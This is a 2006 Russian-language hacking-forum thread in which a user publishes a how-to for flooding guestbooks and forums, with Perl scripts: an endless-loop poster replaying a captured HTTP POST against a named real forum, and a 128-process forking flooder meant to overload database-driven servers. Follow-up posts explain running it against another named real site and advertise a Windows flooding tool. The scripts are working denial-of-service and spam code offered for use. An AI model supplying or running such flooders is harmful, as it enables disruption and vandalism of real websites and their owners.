Статьи Howto.Флуд гостевых книг, форумов и т.д.

Discussion in 'Статьи' started by Gh0s7, 26 Nov 2006.

  1. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Флуд веба в домашних условиях.

    Эта статья - некий аналог доки "Написание эксплоита для Web в домашних условиях"
    Только мы будем писать всякие флудеры и прочие нехорошие вещи :)

    Прошу каментить и оценивать

    Начали :)

    I Intro

    Наверняка каждый из нас заходил на домашнюю страничку недруга и видел там пункт "гостевая книга". Многим захотелось написать туда сообщение.И не одно :)

    В этой статье я расскажу как такое можно сделать.
    Сразу оговорюсь, что все флудеры я буду писать на перле.

    Итак, вот что нам понадобится:
    1)Браузер Firefox с плагином Live HTTP Headers.Без него можно, но гораздо удобней именно с плагином.
    2)perl, желательно на nix-системе.Возможны варианты с денвером, active perl'ом, cygwin'ом
    3)Прямые руки и начальные знания HTTP протокола и программирования.
    Постараюсь описать на реальных примерах.

    II Inside

    Как устроены гостевые книги? Чаще всего это html-форма через которую клиент передает сообщение и php-скрипт, который собственно это сообщение добавляет в базу (реже - файл). Для примера возьмем форум одного "мега-портала" - linuxsuxx.fastbb.ru

    Вот "скелет" флудера:
    Code:
    #!/usr/bin/perl -w
    
    use IO::Socket;
    $host = "[victimhost]";
    $pack='[http packet dump]'
    while (1) {
      my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp) or die "No Answer";
      print $h_sock $req;
    }
    
    Как видите, все очень просто.
    Переменной $host задается хост для флуда, в $pack пихается дамп пакета.

    Т.к. все на борда.ру написано на яваскриптах, мы будем использовать Live HTTP Heders или любой другой аналогичный плагин. Запускаем LiveHTTPHeaders, пишем постик на свой вкус и жмем "отправить". Получаем дамп трафика.Keep-Alive лушче сразу удалить, потому что нам сервер нужен живим, а кипаливом мы его совсем убьем :)

    Вот код флудера под борду:
    Code:
    #!/usr/bin/perl -w
    
    use IO::Socket;
    
    $host = " linuxsuxx.fastbb.ru";
    
    $pack='POST / HTTP/1.1
    Host: linuxsuxx.borda.ru
    User-Agent: Agent Smith
    Accept: text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Referer: http://linuxsuxx.borda.ru/?0-0
    Cookie: s=7fnô5fôù
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 258
    
    parol=7fn%F45f%F4%F9&work=2&razdel=0&start=0&filenumber=&msgid=&start_page_re=0&adresat=&only_new_re=0&statisc=308777%601280%6024%60no%60no%60no%60no%60no&title=Another+Fl00d&message=%D2%F3%F2+%E1%FB%EB+%CF%F3%EF%E0+%C2%E0%F1%FC%EA%E8%ED.&nick=3v1l+b0t&pass=';
    
    while (1) {
    
    my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp ) or die "sock";
    print $h_sock $pack;
    
    }
    
    По вкусу можно вставлять sleep в цикл :)
    У нас флудер однопоточный, т.к. нам нужно не убить сервер а зафлудить скрипт. Скрипт готов. Запускаем. Наслаждаемся :)

    III Флуд серверов, баз данных.

    Иногда бывает проще задосить сервер целиком.
    Некоторые навароченные движки делают под 20 SQL запросов за раз. Давайте подумаем, что будет если мы одновременно пошелм 5 запросов? А 10?
    Чем больше запросов - тем проще будет скрипт завалить.
    Код многопоточного флудера:
    Code:
    #!/usr/bin/perl -w
    
    #########################
    # USE AT YOUR OWN RISK  #
    #     Coded by Gh0s7    #
    #########################
    
    use IO::Socket;
    
    if(@ARGV < 3) { usage();}
    
    $host  = $ARGV[0];
    $port  = $ARGV[1];
    $proto = $ARGV[2];
    $ifile = $ARGV[3];
    
    $thread= 128;
    
    sub usage
    {
            print "#############################################\n";
            print "./ps.pl [host] [port] [proto] [Packet_file]  \n";
            print "#############################################\n";
            exit 1;
    }
    
    open    (IFILE,$ifile) or die ("iFile");
    sysread (IFILE,$buff,5000);
    close   (IFILE);
    $sock  = "$buff\n";
    
    #Test Fork
    
    for ( $i = 1; $i < $thread; $i++)
    {
      $proc = fork;
      if ( $proc == "0" ) { last; }
      print ("[ $proc ($i) Process Ready ]\n") || print "[ Cannot Fork ]\n" && last;
    #  print ("[ $proc ($i) Started! ]\n");
    
    }
      while ( 1 )
    
      {
            my $h_sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "$proto" ) or print ("[ $$ Closed Sock ] \n") && sleep 5 && next;
            print $h_sock "$sock" ;
            print "[ $$ Send Req ]\n";
    #       sleep 0.5;
    #Use at your own risk!
    #NO TIMEOUT!
    
      }
    


    IV Outro

    Как видите флуд - очень простая вещь.Главное - знать основы протокола HTTP. А дальше все делается по анологии ;)

    Links:
    HTTP 1.0 rfc
    Для Тренировки ;)
    Live HTTP Headers

    Не шали (С)
     
    3 people like this.
  2. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Кто и какого переместил статью в "чужие"?
    Статья моя.Напсиана только что.Прошу вернуть.

    [Added]

    Поискал в гугле.Первый ответ на "флуд веба в домаших условиях" - фак по домашним роутерам.А вторая... на эм... форум зоофилов...интересно, почему.

    Added

    NOFEAR, спасибо за возврат доки на место :)
     
    #2 Gh0s7, 26 Nov 2006
    Last edited: 26 Nov 2006
    1 person likes this.
  3. Кэйн

    Кэйн Banned

    Joined:
    30 Oct 2006
    Messages:
    33
    Likes Received:
    7
    Reputations:
    3
    Я перл актив поставил но у меня ничего не получаеться :(
    Там что ошибки какие то?
     
  4. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Выложи какие баги он тебе выдал!
     
  5. Кэйн

    Кэйн Banned

    Joined:
    30 Oct 2006
    Messages:
    33
    Likes Received:
    7
    Reputations:
    3
    При запуске однопоточного флудера:

    Unquoted string "tcp" may clash with future reserved word at D:\путь к сплоиту\sploit.pl
    sploit.pl line 23.

    При запуске многопоточного флудера:

    print (...) interpreted as function at D:\путь к сплоиту\sploit.pl line 45.
    #############################################
    ./ps.pl [host] [port] [proto] [Packet_file]
    #############################################

    Я думаю что это связано с ошибкой (а возможно их несколько) в коде и не исключаю что они сделаны умышленно.
    Знающих людей прошу найти ошибку и исправить
     
  6. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Хм.Моя вина. Оно не выдало ни одной ошибки, все ок.
    Перевожу:
    ипсользование: /путь/к/флудеру/ хост(кого флудить) порт(чаще всего 80) протокол (чаще всего tcp) дамп_пакета
    Т.к. он многопоточный (на форке, хотя ксури был против :) ) то завалить можно практически все.Чем тяжелее скрипт (больше запросово к базе данных) тем легче его завалить.
    Для примера возьмем forum.cosmo.ru
    Апач на 80 порту, использует тсп (ибо хттп :) )
    Видим что борда у них навароченная.Создаем файлик ind.txt с содержанием:
    Code:
    GET / HTTP/1.0
    
    
    Пустую строку сохранаяем тоже.Даем команду:
    /путь/к/флудеру.pl forum.cosmo.ru 80 tcp ind.txt

    После этого он будет сиильно тормозить :)
     
  7. n4n0bit

    n4n0bit Elder - Старейшина

    Joined:
    11 Sep 2006
    Messages:
    52
    Likes Received:
    14
    Reputations:
    20
    Gh0s7 поправлю - потоки и процессы разные вещи.
    У тебя как ты думал создается в цикле заданное число процессов, но на самом деле они создаются последовательно, а должно быть однавременно!
     
  8. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1

    /путь/к/флудеру.pl - имеется ввиду флудёр что вы описали вначале статьи?
     
  9. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    Флуд под Windows
    Хватит мусолить клаву, пора и мышь задействовать -))
    А почему бы и нет???? вот моя программа, кстати кажеться на первый взгляд аналог InetCrack, но моя работает ))) по крайней мере флудила там, где инеткряк не пытался даже...
    Всё ясно, как день... достаточно перехватить сессию и вставить в мой софт..
    [​IMG]
    //скачать //30 кб


    Перехватить пакет можно естсественно Naviscope:
    //скачать //313 кб